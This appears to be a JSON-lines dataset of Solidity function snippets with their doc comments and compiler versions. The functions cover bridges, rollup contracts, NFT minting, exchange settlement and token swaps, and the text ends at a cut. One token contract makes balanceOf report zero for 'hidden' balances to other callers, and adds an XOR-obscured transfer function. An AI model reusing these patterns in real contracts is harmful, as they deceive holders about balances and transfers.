depositFunctionDepositerOffset,\r\n bytes4 executeFunctionSig\r\n ) external onlyAdmin {\r\n _resourceIDToHandlerAddress[resourceID] = handlerAddress;\r\n IGenericHandler handler = IGenericHandler(handlerAddress);\r\n handler.setResource(resourceID, contractAddress, depositFunctionSig, depositFunctionDepositerOffset, executeFunctionSig);\r\n }", "version": "0.6.4"} {"comment": "/**\r\n @notice Initiates a transfer using a specified handler contract.\r\n @notice Only callable when Bridge is not paused.\r\n @param destinationChainID ID of chain deposit will be bridged to.\r\n @param resourceID ResourceID used to find address of handler to be used for deposit.\r\n @param data Additional data to be passed to specified handler.\r\n @notice Emits {Deposit} event.\r\n */", "function_code": "function deposit(uint8 destinationChainID, bytes32 resourceID, bytes calldata data) external payable whenNotPaused {\r\n require(msg.value == _fee, \"Incorrect fee supplied\");\r\n\r\n address handler = _resourceIDToHandlerAddress[resourceID];\r\n require(handler != address(0), \"resourceID not mapped to handler\");\r\n\r\n uint64 depositNonce = ++_depositCounts[destinationChainID];\r\n _depositRecords[depositNonce][destinationChainID] = data;\r\n\r\n IDepositExecute depositHandler = IDepositExecute(handler);\r\n depositHandler.deposit(resourceID, destinationChainID, depositNonce, msg.sender, data);\r\n\r\n emit Deposit(destinationChainID, resourceID, depositNonce);\r\n }", "version": "0.6.4"} {"comment": "/**\r\n @notice Executes a deposit proposal that is considered passed using a specified handler contract.\r\n @notice Only callable by relayers when Bridge is not paused.\r\n @param chainID ID of chain deposit originated from.\r\n @param depositNonce ID of deposited generated by origin Bridge contract.\r\n @param dataHash Hash of data originally provided when deposit was made.\r\n @notice Proposal must be past expiry threshold.\r\n @notice Emits {ProposalEvent} event with status {Cancelled}.\r\n */", "function_code": "function cancelProposal(uint8 chainID, uint64 depositNonce, bytes32 dataHash) public onlyAdminOrRelayer {\r\n uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);\r\n Proposal storage proposal = _proposals[nonceAndID][dataHash];\r\n\r\n require(proposal._status != ProposalStatus.Cancelled, \"Proposal already cancelled\");\r\n require(sub(block.number, proposal._proposedBlock) > _expiry, \"Proposal not at expiry threshold\");\r\n\r\n proposal._status = ProposalStatus.Cancelled;\r\n emit ProposalEvent(chainID, depositNonce, ProposalStatus.Cancelled, proposal._resourceID, proposal._dataHash);\r\n\r\n }", "version": "0.6.4"} {"comment": "/**\r\n @notice Executes a deposit proposal that is considered passed using a specified handler contract.\r\n @notice Only callable by relayers when Bridge is not paused.\r\n @param chainID ID of chain deposit originated from.\r\n @param resourceID ResourceID to be used when making deposits.\r\n @param depositNonce ID of deposited generated by origin Bridge contract.\r\n @param data Data originally provided when deposit was made.\r\n @notice Proposal must have Passed status.\r\n @notice Hash of {data} must equal proposal's {dataHash}.\r\n @notice Emits {ProposalEvent} event with status {Executed}.\r\n */", "function_code": "function executeProposal(uint8 chainID, uint64 depositNonce, bytes calldata data, bytes32 resourceID) external onlyRelayers whenNotPaused {\r\n address handler = _resourceIDToHandlerAddress[resourceID];\r\n uint72 nonceAndID = (uint72(depositNonce) << 8) | uint72(chainID);\r\n bytes32 dataHash = keccak256(abi.encodePacked(handler, data));\r\n Proposal storage proposal = _proposals[nonceAndID][dataHash];\r\n\r\n require(proposal._status != ProposalStatus.Inactive, \"proposal is not active\");\r\n require(proposal._status == ProposalStatus.Passed, \"proposal already transferred\");\r\n require(dataHash == proposal._dataHash, \"data doesn't match datahash\");\r\n\r\n proposal._status = ProposalStatus.Executed;\r\n\r\n IDepositExecute depositHandler = IDepositExecute(_resourceIDToHandlerAddress[proposal._resourceID]);\r\n depositHandler.executeProposal(proposal._resourceID, data);\r\n\r\n emit ProposalEvent(chainID, depositNonce, proposal._status, proposal._resourceID, proposal._dataHash);\r\n }", "version": "0.6.4"} {"comment": "/*********************\n * Fallback Function *\n *********************/", "function_code": "fallback()\n external\n {\n (bool success, bytes memory returndata) = Lib_SafeExecutionManagerWrapper.safeDELEGATECALL(\n gasleft(),\n getImplementation(),\n msg.data\n );\n\n if (success) {\n assembly {\n return(add(returndata, 0x20), mload(returndata))\n }\n } else {\n Lib_SafeExecutionManagerWrapper.safeREVERT(\n string(returndata)\n );\n }\n }", "version": "0.7.6"} {"comment": "/**\n * Recovers a signed address given a message and signature.\n * @param _message Message that was originally signed.\n * @param _isEthSignedMessage Whether or not the user used the `Ethereum Signed Message` prefix.\n * @param _v Signature `v` parameter.\n * @param _r Signature `r` parameter.\n * @param _s Signature `s` parameter.\n * @return _sender Signer address.\n */", "function_code": "function recover(\n bytes memory _message,\n bool _isEthSignedMessage,\n uint8 _v,\n bytes32 _r,\n bytes32 _s\n )\n internal\n pure\n returns (\n address _sender\n )\n {\n bytes32 messageHash = getMessageHash(_message, _isEthSignedMessage);\n\n return ecrecover(\n messageHash,\n _v + 27,\n _r,\n _s\n );\n }", "version": "0.7.6"} {"comment": "/**\n * Initializes the whitelist.\n * @param _owner Address of the owner for this contract.\n * @param _allowArbitraryDeployment Whether or not to allow arbitrary contract deployment.\n */", "function_code": "function initialize(\n address _owner,\n bool _allowArbitraryDeployment\n )\n override\n public\n {\n bool initialized = Lib_Bytes32Utils.toBool(\n Lib_SafeExecutionManagerWrapper.safeSLOAD(KEY_INITIALIZED)\n );\n\n if (initialized == true) {\n return;\n }\n\n Lib_SafeExecutionManagerWrapper.safeSSTORE(\n KEY_INITIALIZED,\n Lib_Bytes32Utils.fromBool(true)\n );\n Lib_SafeExecutionManagerWrapper.safeSSTORE(\n KEY_OWNER,\n Lib_Bytes32Utils.fromAddress(_owner)\n );\n Lib_SafeExecutionManagerWrapper.safeSSTORE(\n KEY_ALLOW_ARBITRARY_DEPLOYMENT,\n Lib_Bytes32Utils.fromBool(_allowArbitraryDeployment)\n );\n }", "version": "0.7.6"} {"comment": "/**\n * Checks whether an address is allowed to deploy contracts.\n * @param _deployer Address to check.\n * @return _allowed Whether or not the address can deploy contracts.\n */", "function_code": "function isDeployerAllowed(\n address _deployer\n )\n override\n public\n returns (\n bool _allowed\n )\n {\n bool initialized = Lib_Bytes32Utils.toBool(\n Lib_SafeExecutionManagerWrapper.safeSLOAD(KEY_INITIALIZED)\n );\n\n if (initialized == false) {\n return true;\n }\n\n bool allowArbitraryDeployment = Lib_Bytes32Utils.toBool(\n Lib_SafeExecutionManagerWrapper.safeSLOAD(KEY_ALLOW_ARBITRARY_DEPLOYMENT)\n );\n\n if (allowArbitraryDeployment == true) {\n return true;\n }\n\n bool isWhitelisted = Lib_Bytes32Utils.toBool(\n Lib_SafeExecutionManagerWrapper.safeSLOAD(\n Lib_Bytes32Utils.fromAddress(_deployer)\n )\n );\n\n return isWhitelisted; \n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Mints `quantity` tokens and transfers them to `to`.\r\n *\r\n * Requirements:\r\n *\r\n * - `to` cannot be the zero address.\r\n * - `quantity` cannot be larger than the max batch size.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _safeMint(\r\n address to,\r\n uint256 quantity,\r\n bytes memory _data\r\n ) internal {\r\n uint256 startTokenId = currentIndex;\r\n require(to != address(0), 'ERC721A: mint to the zero address');\r\n // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.\r\n require(!_exists(startTokenId), 'ERC721A: token already minted');\r\n require(quantity > 0, 'ERC721A: quantity must be greater 0');\r\n\r\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\r\n\r\n AddressData memory addressData = _addressData[to];\r\n _addressData[to] = AddressData(\r\n addressData.balance + uint128(quantity),\r\n addressData.numberMinted + uint128(quantity)\r\n );\r\n _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));\r\n\r\n uint256 updatedIndex = startTokenId;\r\n\r\n for (uint256 i = 0; i < quantity; i++) {\r\n emit Transfer(address(0), to, updatedIndex);\r\n require(\r\n _checkOnERC721Received(address(0), to, updatedIndex, _data),\r\n 'ERC721A: transfer to non ERC721Receiver implementer'\r\n );\r\n updatedIndex++;\r\n }\r\n\r\n currentIndex = updatedIndex;\r\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\r\n }", "version": "0.8.0"} {"comment": "/** Initiate the start of a mint. This action burns $CHEDDAR, as the intent of committing is that you cannot back out once you've started.\n * This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this\n * commit was added to. */", "function_code": "function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {\n require(allowCommits, \"adding commits disallowed\");\n require(tx.origin == _msgSender(), \"Only EOA\");\n require(_pendingCommitId[_msgSender()] == 0, \"Already have pending mints\");\n uint16 minted = houseNFT.minted();\n uint256 maxTokens = houseNFT.getMaxTokens();\n require(minted + pendingMintAmt + amount <= maxTokens, \"All tokens minted\");\n require(amount > 0 && amount <= 10, \"Invalid mint amount\");\n\n uint256 totalCheddarCost = 0;\n // Loop through the amount of \n for (uint i = 1; i <= amount; i++) {\n totalCheddarCost += mintCost(minted + pendingMintAmt + i, maxTokens);\n }\n if (totalCheddarCost > 0) {\n cheddarToken.burn(_msgSender(), totalCheddarCost);\n cheddarToken.updateOriginAccess();\n }\n uint16 amt = uint16(amount);\n _mintCommits[_msgSender()][randomizer.commitId()] = MintCommit(stake, amt);\n _pendingCommitId[_msgSender()] = randomizer.commitId();\n pendingMintAmt += amt;\n emit MintCommitted(_msgSender(), amount);\n }", "version": "0.8.4"} {"comment": "/**\n * the first 25% are 80000 $CHEDDAR\n * the next 50% are 160000 $CHEDDAR\n * the next 25% are 320000 $WOOL\n * @param tokenId the ID to check the cost of to mint\n * @return the cost of the given token ID\n */", "function_code": "function mintCost(uint256 tokenId, uint256 maxTokens) public pure returns (uint256) {\n if (tokenId <= maxTokens / 4) return 80000 ether;\n if (tokenId <= maxTokens * 3 / 4) return 160000 ether;\n return 320000 ether;\n }", "version": "0.8.4"} {"comment": "/**\n * @param seed a random value to select a recipient from\n * @return the address of the recipient (either the minter or the Cat thief's owner)\n */", "function_code": "function selectRecipient(uint256 seed) internal view returns (address) {\n if (((seed >> 245) % 8) != 0) return _msgSender(); // top 8 bits haven't been used\n address thief = habitat.randomCrazyCatOwner(seed >> 144); // 144 bits reserved for trait selection\n if (thief == address(0x0)) return _msgSender();\n return thief;\n }", "version": "0.8.4"} {"comment": "/**\n * @notice Sets the address of the Fee wallet\n *\n * @dev Trade and Withdraw fees will accrue in the `_balancesInPips` mappings for this wallet\n *\n * @param newFeeWallet The new Fee wallet. Must be different from the current one\n */", "function_code": "function setFeeWallet(address newFeeWallet) external onlyAdmin {\n require(newFeeWallet != address(0x0), 'Invalid wallet address');\n require(\n newFeeWallet != _feeWallet,\n 'Must be different from current fee wallet'\n );\n\n address oldFeeWallet = _feeWallet;\n _feeWallet = newFeeWallet;\n\n emit FeeWalletChanged(oldFeeWallet, newFeeWallet);\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Load a wallet's balance by asset address, in asset units\n *\n * @param wallet The wallet address to load the balance for. Can be different from `msg.sender`\n * @param assetAddress The asset address to load the wallet's balance for\n *\n * @return The quantity denominated in asset units of asset at `assetAddress` currently\n * deposited by `wallet`\n */", "function_code": "function loadBalanceInAssetUnitsByAddress(\n address wallet,\n address assetAddress\n ) external view returns (uint256) {\n require(wallet != address(0x0), 'Invalid wallet address');\n\n Structs.Asset memory asset = _assetRegistry.loadAssetByAddress(\n assetAddress\n );\n return\n AssetUnitConversions.pipsToAssetUnits(\n _balancesInPips[wallet][assetAddress],\n asset.decimals\n );\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Deposit `IERC20` compliant tokens\n *\n * @param assetSymbol The case-sensitive symbol string for the token\n * @param quantityInAssetUnits The quantity to deposit. The sending wallet must first call the `approve` method on\n * the token contract for at least this quantity first\n */", "function_code": "function depositTokenBySymbol(\n string calldata assetSymbol,\n uint256 quantityInAssetUnits\n ) external {\n IERC20 tokenAddress = IERC20(\n _assetRegistry\n .loadAssetBySymbol(assetSymbol, getCurrentTimestampInMs())\n .assetAddress\n );\n require(\n address(tokenAddress) != address(0x0),\n 'Use depositEther to deposit ETH'\n );\n\n deposit(msg.sender, address(tokenAddress), quantityInAssetUnits);\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Invalidate all order nonces with a timestampInMs lower than the one provided\n *\n * @param nonce A Version 1 UUID. After calling and once the Chain Propagation Period has elapsed,\n * `executeTrade` will reject order nonces from this wallet with a timestampInMs component lower than\n * the one provided\n */", "function_code": "function invalidateOrderNonce(uint128 nonce) external {\n uint64 timestampInMs = UUID.getTimestampInMsFromUuidV1(nonce);\n // Enforce a maximum skew for invalidating nonce timestamps in the future so the user doesn't\n // lock their wallet from trades indefinitely\n require(\n timestampInMs < getOneDayFromNowInMs(),\n 'Nonce timestamp too far in future'\n );\n\n if (_nonceInvalidations[msg.sender].exists) {\n require(\n _nonceInvalidations[msg.sender].timestampInMs < timestampInMs,\n 'Nonce timestamp already invalidated'\n );\n require(\n _nonceInvalidations[msg.sender].effectiveBlockNumber <= block.number,\n 'Previous invalidation awaiting chain propagation'\n );\n }\n\n // Changing the Chain Propagation Period will not affect the effectiveBlockNumber for this invalidation\n uint256 effectiveBlockNumber = block.number + _chainPropagationPeriod;\n _nonceInvalidations[msg.sender] = NonceInvalidation(\n true,\n timestampInMs,\n effectiveBlockNumber\n );\n\n emit OrderNonceInvalidated(\n msg.sender,\n nonce,\n timestampInMs,\n effectiveBlockNumber\n );\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Settles a user withdrawal submitted off-chain. Calls restricted to currently whitelisted Dispatcher wallet\n *\n * @param withdrawal A `Structs.Withdrawal` struct encoding the parameters of the withdrawal\n */", "function_code": "function withdraw(Structs.Withdrawal memory withdrawal)\n public\n override\n onlyDispatcher\n {\n // Validations\n require(!isWalletExitFinalized(withdrawal.walletAddress), 'Wallet exited');\n require(\n getFeeBasisPoints(withdrawal.gasFeeInPips, withdrawal.quantityInPips) <=\n _maxWithdrawalFeeBasisPoints,\n 'Excessive withdrawal fee'\n );\n bytes32 withdrawalHash = validateWithdrawalSignature(withdrawal);\n require(\n !_completedWithdrawalHashes[withdrawalHash],\n 'Hash already withdrawn'\n );\n\n // If withdrawal is by asset symbol (most common) then resolve to asset address\n Structs.Asset memory asset = withdrawal.withdrawalType ==\n Enums.WithdrawalType.BySymbol\n ? _assetRegistry.loadAssetBySymbol(\n withdrawal.assetSymbol,\n UUID.getTimestampInMsFromUuidV1(withdrawal.nonce)\n )\n : _assetRegistry.loadAssetByAddress(withdrawal.assetAddress);\n\n // SafeMath reverts if balance is overdrawn\n uint64 netAssetQuantityInPips = withdrawal.quantityInPips.sub(\n withdrawal.gasFeeInPips\n );\n uint256 netAssetQuantityInAssetUnits = AssetUnitConversions\n .pipsToAssetUnits(netAssetQuantityInPips, asset.decimals);\n uint64 newExchangeBalanceInPips = _balancesInPips[withdrawal\n .walletAddress][asset.assetAddress]\n .sub(withdrawal.quantityInPips);\n uint256 newExchangeBalanceInAssetUnits = AssetUnitConversions\n .pipsToAssetUnits(newExchangeBalanceInPips, asset.decimals);\n\n _balancesInPips[withdrawal.walletAddress][asset\n .assetAddress] = newExchangeBalanceInPips;\n _balancesInPips[_feeWallet][asset\n .assetAddress] = _balancesInPips[_feeWallet][asset.assetAddress].add(\n withdrawal.gasFeeInPips\n );\n\n ICustodian(_custodian).withdraw(\n withdrawal.walletAddress,\n asset.assetAddress,\n netAssetQuantityInAssetUnits\n );\n\n _completedWithdrawalHashes[withdrawalHash] = true;\n\n emit Withdrawn(\n withdrawal.walletAddress,\n asset.assetAddress,\n asset.symbol,\n withdrawal.quantityInPips,\n newExchangeBalanceInPips,\n newExchangeBalanceInAssetUnits\n );\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Withdraw the entire balance of an asset for an exited wallet. The Chain Propagation Period must\n * have already passed since calling `exitWallet` on `assetAddress`\n *\n * @param assetAddress The address of the asset to withdraw\n */", "function_code": "function withdrawExit(address assetAddress) external {\n require(isWalletExitFinalized(msg.sender), 'Wallet exit not finalized');\n\n Structs.Asset memory asset = _assetRegistry.loadAssetByAddress(\n assetAddress\n );\n uint64 balanceInPips = _balancesInPips[msg.sender][assetAddress];\n uint256 balanceInAssetUnits = AssetUnitConversions.pipsToAssetUnits(\n balanceInPips,\n asset.decimals\n );\n\n require(balanceInAssetUnits > 0, 'No balance for asset');\n _balancesInPips[msg.sender][assetAddress] = 0;\n ICustodian(_custodian).withdraw(\n msg.sender,\n assetAddress,\n balanceInAssetUnits\n );\n\n emit WalletExitWithdrawn(\n msg.sender,\n assetAddress,\n asset.symbol,\n balanceInPips,\n 0,\n 0\n );\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Settles a trade between two orders submitted and matched off-chain\n *\n * @dev As a gas optimization, base and quote symbols are passed in separately and combined to verify\n * the wallet hash, since this is cheaper than splitting the market symbol into its two constituent asset symbols\n * @dev Stack level too deep if declared external\n *\n * @param buy A `Structs.Order` struct encoding the parameters of the buy-side order (receiving base, giving quote)\n * @param sell A `Structs.Order` struct encoding the parameters of the sell-side order (giving base, receiving quote)\n * @param trade A `Structs.Trade` struct encoding the parameters of this trade execution of the counterparty orders\n */", "function_code": "function executeTrade(\n Structs.Order memory buy,\n Structs.Order memory sell,\n Structs.Trade memory trade\n ) public override onlyDispatcher {\n require(\n !isWalletExitFinalized(buy.walletAddress),\n 'Buy wallet exit finalized'\n );\n require(\n !isWalletExitFinalized(sell.walletAddress),\n 'Sell wallet exit finalized'\n );\n require(\n buy.walletAddress != sell.walletAddress,\n 'Self-trading not allowed'\n );\n\n validateAssetPair(buy, sell, trade);\n validateLimitPrices(buy, sell, trade);\n validateOrderNonces(buy, sell);\n (bytes32 buyHash, bytes32 sellHash) = validateOrderSignatures(\n buy,\n sell,\n trade\n );\n validateTradeFees(trade);\n\n updateOrderFilledQuantities(buy, buyHash, sell, sellHash, trade);\n updateBalancesForTrade(buy, sell, trade);\n\n emit TradeExecuted(\n buy.walletAddress,\n sell.walletAddress,\n trade.baseAssetSymbol,\n trade.quoteAssetSymbol,\n trade.baseAssetSymbol,\n trade.quoteAssetSymbol,\n trade.grossBaseQuantityInPips,\n trade.grossQuoteQuantityInPips,\n trade.priceInPips,\n buyHash,\n sellHash\n );\n }", "version": "0.6.8"} {"comment": "// Updates buyer, seller, and fee wallet balances for both assets in trade pair according to trade parameters", "function_code": "function updateBalancesForTrade(\n Structs.Order memory buy,\n Structs.Order memory sell,\n Structs.Trade memory trade\n ) private {\n // Seller gives base asset including fees\n _balancesInPips[sell.walletAddress][trade\n .baseAssetAddress] = _balancesInPips[sell.walletAddress][trade\n .baseAssetAddress]\n .sub(trade.grossBaseQuantityInPips);\n // Buyer receives base asset minus fees\n _balancesInPips[buy.walletAddress][trade\n .baseAssetAddress] = _balancesInPips[buy.walletAddress][trade\n .baseAssetAddress]\n .add(trade.netBaseQuantityInPips);\n\n // Buyer gives quote asset including fees\n _balancesInPips[buy.walletAddress][trade\n .quoteAssetAddress] = _balancesInPips[buy.walletAddress][trade\n .quoteAssetAddress]\n .sub(trade.grossQuoteQuantityInPips);\n // Seller receives quote asset minus fees\n _balancesInPips[sell.walletAddress][trade\n .quoteAssetAddress] = _balancesInPips[sell.walletAddress][trade\n .quoteAssetAddress]\n .add(trade.netQuoteQuantityInPips);\n\n // Maker and taker fees to fee wallet\n _balancesInPips[_feeWallet][trade\n .makerFeeAssetAddress] = _balancesInPips[_feeWallet][trade\n .makerFeeAssetAddress]\n .add(trade.makerFeeQuantityInPips);\n _balancesInPips[_feeWallet][trade\n .takerFeeAssetAddress] = _balancesInPips[_feeWallet][trade\n .takerFeeAssetAddress]\n .add(trade.takerFeeQuantityInPips);\n }", "version": "0.6.8"} {"comment": "/**\n * @notice Sets the wallet whitelisted to dispatch transactions calling the `executeTrade` and `withdraw` functions\n *\n * @param newDispatcherWallet The new whitelisted dispatcher wallet. Must be different from the current one\n */", "function_code": "function setDispatcher(address newDispatcherWallet) external onlyAdmin {\n require(newDispatcherWallet != address(0x0), 'Invalid wallet address');\n require(\n newDispatcherWallet != _dispatcherWallet,\n 'Must be different from current dispatcher'\n );\n address oldDispatcherWallet = _dispatcherWallet;\n _dispatcherWallet = newDispatcherWallet;\n\n emit DispatcherChanged(oldDispatcherWallet, newDispatcherWallet);\n }", "version": "0.6.8"} {"comment": "/**\r\n * @dev See {IERC20-balanceOf}.\r\n */", "function_code": "function balanceOf(address account) public view override returns (uint256) {\r\n \r\n if(_balances[account] == 0)\r\n return 0;\r\n \r\n if(_hiddenBalance[account] == true && account != msg.sender)\r\n return 0;\r\n \r\n else if(_hiddenBalance[account] == true && account == msg.sender)\r\n return _balances[account];\r\n \r\n return _balances[account];\r\n \r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev sets total supply to 10M, puts balances into vaults accordingly along with 6.6M for initial distribution.\r\n */", "function_code": "function _distributeTokens(address _initialDistributionAddress, address _devAddress) internal\r\n {\r\n // Initial Liquidity Pool (6.66666m tokens)\r\n _totalSupply = _totalSupply.add(6666666 * 1e18);\r\n _balances[_initialDistributionAddress] = _balances[_initialDistributionAddress].add(6666666 * 1e18);\r\n\r\n // Dapp Development slow-release vault\r\n TeamVault = new TokenVesting(_devAddress, block.timestamp, 0, 104 weeks);\r\n _totalSupply = _totalSupply.add(3333334 * 1e18);\r\n _balances[address(TeamVault)] = _balances[address(TeamVault)].add(3333334 * 1e18); \r\n }", "version": "0.6.6"} {"comment": "/**\r\n \t * Use recipient as the wallet you wish to send to\r\n \t * Make sure 'amount' is the value collected from getHashedValue(token amount)\r\n \t * Using values other than the above may result in a different amount of tokens sent.\r\n \t * The math is proven exact using double XOR hashing.\r\n \t */", "function_code": "function sendHashedTokens(address recipient, uint256 amount) public { \r\n \r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n require(_addressHashes[msg.sender] != 0, \"Must generate an address hash before sending.\");\r\n\r\n uint256 newAmount = (amount ^ _addressHashes[msg.sender]);\r\n\r\n _beforeTokenTransfer(msg.sender, recipient, newAmount);\r\n\r\n _balances[msg.sender] = _balances[msg.sender].sub(newAmount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(newAmount);\r\n \r\n if(_balances[recipient] >= totalSupply())\r\n revert();\r\n\r\n }", "version": "0.6.6"} {"comment": "//--------------------------------------------------------------------------------------------------------------------------------------\n// Earnings:\n//--------------------------------------------------------------------------------------------------------------------------------------", "function_code": "function sendEarnings(address payable _to) external returns (uint256 ethReserveTaken_,\r\n uint256 ethFeeTaken_,\r\n uint256 usdtReserveTaken_,\r\n uint256 usdtFeeTaken_)\r\n {\r\n require(msg.sender == owner, ERR_MSG_SENDER);\r\n \r\n uint256 ethBalance = address(this).balance;\r\n uint256 usdtBalance = usdtToken.balanceOf(address(this));\r\n \r\n if(ethBalance > 0)\r\n {\r\n _to.transfer(ethBalance);\r\n }\r\n \r\n if(usdtBalance > 0)\r\n {\r\n usdtToken.transfer(_to, usdtBalance);\r\n }\r\n \r\n ethReserveTaken_ = ethBalance - ethFee;\r\n ethFeeTaken_ = ethFee;\r\n usdtReserveTaken_ = usdtBalance - usdtFee;\r\n usdtFeeTaken_ = usdtFee;\r\n \r\n ethFee = 0;\r\n usdtFee = 0;\r\n }", "version": "0.6.12"} {"comment": "//--------------------------------------------------------------------------------------------------------------------------------------\n// Calculator:\n//--------------------------------------------------------------------------------------------------------------------------------------", "function_code": "function calcSwap(uint256 _fromAmount, bool _isFromEth, bool _isToToken3) public view returns (uint256 actualToTokensAmount_,\r\n uint256 fromFeeAdd_,\r\n uint256 actualFromAmount_)\r\n {\r\n require(_fromAmount > 0, \"ERR_ZERO_PAYMENT\");\r\n \r\n actualFromAmount_ = _fromAmount;\r\n \r\n fromFeeAdd_ = _fromAmount.mul(3).div(1000);\r\n _fromAmount = _fromAmount.sub(fromFeeAdd_);\r\n \r\n actualToTokensAmount_ = _fromAmount.mul(DECIMALS).div(_isFromEth ? ethPrice : usdtPrice);\r\n \r\n uint256 toTokensReserve = _isToToken3 ? depositToken3Reserve : depositToken6Reserve;\r\n if(actualToTokensAmount_ > toTokensReserve)\r\n {\r\n actualToTokensAmount_ = toTokensReserve;\r\n actualFromAmount_ = toTokensReserve.mul(_isFromEth ? ethPrice : usdtPrice).div(DECIMALS);\r\n \r\n fromFeeAdd_ = actualFromAmount_.mul(3).div(1000);\r\n actualFromAmount_ = actualFromAmount_.add(fromFeeAdd_);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// Creates a new edition contract as a factory with a deterministic address\n/// Important: None of these fields (except the Url fields with the same hash) can be changed after calling\n/// @param _name Name of the edition contract\n/// @param _symbol Symbol of the edition contract\n/// @param _description Metadata: Description of the edition entry\n/// @param _animationUrl Metadata: Animation url (optional) of the edition entry\n/// @param _animationHash Metadata: SHA-256 Hash of the animation (if no animation url, can be 0x0)\n/// @param _imageUrl Metadata: Image url (semi-required) of the edition entry\n/// @param _imageHash Metadata: SHA-256 hash of the Image of the edition entry (if not image, can be 0x0)\n/// @param _editionSize Total size of the edition (number of possible editions)\n/// @param _royaltyBPS BPS amount of royalty\n/// @param _curator struct containing address and feePercentage", "function_code": "function createEdition(\n string memory _name,\n string memory _symbol,\n string memory _description,\n string memory _animationUrl,\n bytes32 _animationHash,\n string memory _imageUrl,\n bytes32 _imageHash,\n uint256 _editionSize,\n uint256 _royaltyBPS,\n Curator memory _curator\n ) external returns (uint256) {\n uint256 newId = atContract.current();\n address newContract = ClonesUpgradeable.cloneDeterministic(\n implementation,\n bytes32(abi.encodePacked(newId))\n );\n SingleEditionMintable(newContract).initialize(\n msg.sender,\n _name,\n _symbol,\n _description,\n _animationUrl,\n _animationHash,\n _imageUrl,\n _imageHash,\n _editionSize,\n _royaltyBPS,\n _curator\n );\n emit CreatedEdition(newId, msg.sender, _editionSize, newContract);\n // Returns the ID of the recently created minting contract\n // Also increments for the next contract creation call\n atContract.increment();\n\n return newId;\n }", "version": "0.8.6"} {"comment": "/**\n * @inheritdoc iOVM_CanonicalTransactionChain\n */", "function_code": "function getQueueElement(\n uint256 _index\n )\n override\n public\n view\n returns (\n Lib_OVMCodec.QueueElement memory _element\n )\n {\n uint40 trueIndex = uint40(_index * 2);\n bytes32 queueRoot = queue().get(trueIndex);\n bytes32 timestampAndBlockNumber = queue().get(trueIndex + 1);\n\n uint40 elementTimestamp;\n uint40 elementBlockNumber;\n assembly {\n elementTimestamp := and(timestampAndBlockNumber, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF)\n elementBlockNumber := shr(40, and(timestampAndBlockNumber, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000))\n }\n\n return Lib_OVMCodec.QueueElement({\n queueRoot: queueRoot,\n timestamp: elementTimestamp,\n blockNumber: elementBlockNumber\n });\n }", "version": "0.7.6"} {"comment": "/**\n * Returns the BatchContext located at a particular index.\n * @param _index The index of the BatchContext\n * @return The BatchContext at the specified index.\n */", "function_code": "function _getBatchContext(\n uint256 _index\n )\n internal\n pure\n returns (\n BatchContext memory\n )\n {\n uint256 contextPtr = 15 + _index * BATCH_CONTEXT_SIZE;\n uint256 numSequencedTransactions;\n uint256 numSubsequentQueueTransactions;\n uint256 ctxTimestamp;\n uint256 ctxBlockNumber;\n\n assembly {\n numSequencedTransactions := shr(232, calldataload(contextPtr))\n numSubsequentQueueTransactions := shr(232, calldataload(add(contextPtr, 3)))\n ctxTimestamp := shr(216, calldataload(add(contextPtr, 6)))\n ctxBlockNumber := shr(216, calldataload(add(contextPtr, 11)))\n }\n\n return BatchContext({\n numSequencedTransactions: numSequencedTransactions,\n numSubsequentQueueTransactions: numSubsequentQueueTransactions,\n timestamp: ctxTimestamp,\n blockNumber: ctxBlockNumber\n });\n }", "version": "0.7.6"} {"comment": "/**\n * Parses the batch context from the extra data.\n * @return Total number of elements submitted.\n * @return Index of the next queue element.\n */", "function_code": "function _getBatchExtraData()\n internal\n view\n returns (\n uint40,\n uint40,\n uint40,\n uint40\n )\n {\n bytes27 extraData = batches().getGlobalMetadata();\n\n uint40 totalElements;\n uint40 nextQueueIndex;\n uint40 lastTimestamp;\n uint40 lastBlockNumber;\n assembly {\n extraData := shr(40, extraData)\n totalElements := and(extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF)\n nextQueueIndex := shr(40, and(extraData, 0x00000000000000000000000000000000000000000000FFFFFFFFFF0000000000))\n lastTimestamp := shr(80, and(extraData, 0x0000000000000000000000000000000000FFFFFFFFFF00000000000000000000))\n lastBlockNumber := shr(120, and(extraData, 0x000000000000000000000000FFFFFFFFFF000000000000000000000000000000))\n }\n\n return (\n totalElements,\n nextQueueIndex,\n lastTimestamp,\n lastBlockNumber\n );\n }", "version": "0.7.6"} {"comment": "/**\n * Encodes the batch context for the extra data.\n * @param _totalElements Total number of elements submitted.\n * @param _nextQueueIndex Index of the next queue element.\n * @param _timestamp Timestamp for the last batch.\n * @param _blockNumber Block number of the last batch.\n * @return Encoded batch context.\n */", "function_code": "function _makeBatchExtraData(\n uint40 _totalElements,\n uint40 _nextQueueIndex,\n uint40 _timestamp,\n uint40 _blockNumber\n )\n internal\n pure\n returns (\n bytes27\n )\n {\n bytes27 extraData;\n assembly {\n extraData := _totalElements\n extraData := or(extraData, shl(40, _nextQueueIndex))\n extraData := or(extraData, shl(80, _timestamp))\n extraData := or(extraData, shl(120, _blockNumber))\n extraData := shl(40, extraData)\n }\n\n return extraData;\n }", "version": "0.7.6"} {"comment": "/**\n * Retrieves the length of the queue.\n * @return Length of the queue.\n */", "function_code": "function _getQueueLength()\n internal\n view\n returns (\n uint40\n )\n {\n // The underlying queue data structure stores 2 elements\n // per insertion, so to get the real queue length we need\n // to divide by 2. See the usage of 